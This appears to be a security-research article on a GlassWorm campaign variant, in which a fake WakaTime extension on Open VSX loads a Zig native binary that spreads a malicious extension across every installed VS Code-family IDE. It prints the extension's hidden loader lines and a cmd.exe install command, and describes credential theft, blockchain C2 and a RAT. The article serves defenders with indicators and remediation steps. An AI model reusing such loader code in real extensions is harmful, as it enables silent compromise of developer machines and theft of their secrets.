Security researchers at Aikido have identified a new advancement in the GlassWorm threat campaign, highlighting a clear escalation in both sophistication and execution strategy. This latest variant introduces a dropper written in Zig, a modern systems programming language, specifically designed to silently discover and compromise every compatible Integrated Development Environment (IDE) present on a developer’s system in a single, covert operation.
This development represents another phase in a campaign that has been under observation for more than a year. GlassWorm initially emerged in early 2025 by embedding malicious payloads within invisible Unicode characters inside npm packages. Since then, it has broadened its reach by infiltrating hundreds of repositories and extensions across GitHub, npm, and the VS Code ecosystem. More recently, it delivered a persistent RAT through a fraudulent Chrome extension. Each iteration has demonstrated increasing refinement, and this version continues that trajectory.
The Trojanized Extension: Concealed Within Legitimate Functionality
In this instance, the infection vector is an Open VSX extension named specstudio.code-wakatime-activity-tracker. Open VSX serves as an open-source extension marketplace primarily utilized by non-Microsoft VS Code distributions such as VSCodium and Cursor, making it an appealing channel for targeting alternative developer environments.
The extension masquerades as WakaTime, a widely trusted productivity tool that monitors developer activity within IDEs, tracking time spent across projects, languages, and files. Its large user base makes it an effective disguise. The malicious version closely replicates the legitimate extension, including command structures, API key prompts, and status bar behavior, allowing it to pass basic inspection. Although it has since been removed, it was available long enough to be installed by users.
The malicious logic is embedded within the activate() function, which executes when the extension loads. Before any legitimate functionality begins, the extension silently loads a native binary from a bundled ./bin/ directory and invokes an installation routine:
const bw = process.platform === "win32" ? "./bin/win.node" : "./bin/mac.node";
const { install } = require(bw);
install();
This process occurs without any user interaction—no prompts, warnings, or visible indicators.
Native Binary Execution: Leveraging Zig for Stealth
While GlassWorm has previously utilized compiled binaries, their role in this variant is more strategic. Instead of acting as the final payloads, the binary operates as a stealth intermediary responsible for identifying and infecting other development environments before triggering the known GlassWorm dropper.
On Windows, the binary appears as a PE32+ dynamic-link library (win.node). On macOS, it is delivered as a universal Mach-O binary compatible with both Intel and Apple Silicon architectures, reflecting deliberate coverage of the macOS developer base.
These binaries function as Node.js native addons, meaning they execute outside the JavaScript sandbox. This allows unrestricted interaction with the operating system, including filesystem access, process creation, network communication, and API interaction which capabilities not available to standard extensions.
The use of Zig contributes additional evasion benefits. Zig produces compact binaries with minimal dependencies, avoiding recognizable runtime signatures common in languages like Go or Rust. Additionally, compiled binaries significantly complicate reverse engineering compared to readable JavaScript source code.
An operational oversight revealed debug symbols in the macOS binary, exposing the developer path (/Users/davidioasd/Downloads/vsx_installer_zig) and username, offering rare attribution clues.
System-Wide IDE Enumeration and Infection
Once executed, the binary scans the system for all IDEs supporting the VS Code extension framework. The targeted environments include: Microsoft VS Code and VS Code Insiders, VSCodium, Positron, Cursor, and Windsurf.
This comprehensive targeting ensures persistence across multiple tools. Developers using several environments simultaneously would find all instances compromised, preventing simple remediation through uninstalling a single IDE.
After identifying targets, the binary retrieves a malicious .vsix package from an attacker-controlled GitHub repository. The payload, named floktokbok.autoimport, imitates steoates.autoimport, a legitimate and widely installed extension. The naming similarity reduces suspicion, even among experienced users.
The package is saved temporarily and deployed across all detected IDEs using native installation commands:
cmd.exe /d /e:ON /v:OFF /c "<ide_path> --install-extension <vsix_path>"
Once installation is complete, the temporary file is removed to eliminate obvious traces.
Secondary Payload: Advanced Post-Compromise Capabilities
The deployed extension functions as a full-featured GlassWorm dropper with extensive capabilities:
- It performs geofencing by avoiding execution on systems configured with Russian language settings, a tactic often associated with region-based threat actor constraints.
- Command-and-control communication is handled via the Solana blockchain, allowing retrieval of C2 infrastructure without relying on traditional domains that could be blocked or seized.
- The malware extracts sensitive data, including source code, environment variables, SSH keys, API credentials, and database access details that are particularly valuable on developer machines.
- A persistent Remote Access Trojan is installed, granting continuous access to the compromised system.
Finally, the infection extends into the browser through deployment of a malicious Chrome extension, enabling credential theft, session hijacking, and monitoring of web activity.
Immediate Response Recommendations
If either specstudio.code-wakatime-activity-tracker or floktokbok.autoimport has been installed in any IDE, the system should be treated as fully compromised. Removing the extension alone is insufficient due to the multi-stage and multi-environment propagation model. Recommended actions include auditing extensions across all installed IDEs, rotating all credentials including API keys, tokens, passwords, and SSH keys, verifying the presence of suspicious “autoimport” extensions, reviewing installed Chrome extensions, and strongly considering a full system rebuild—especially if the machine had access to sensitive or production environments.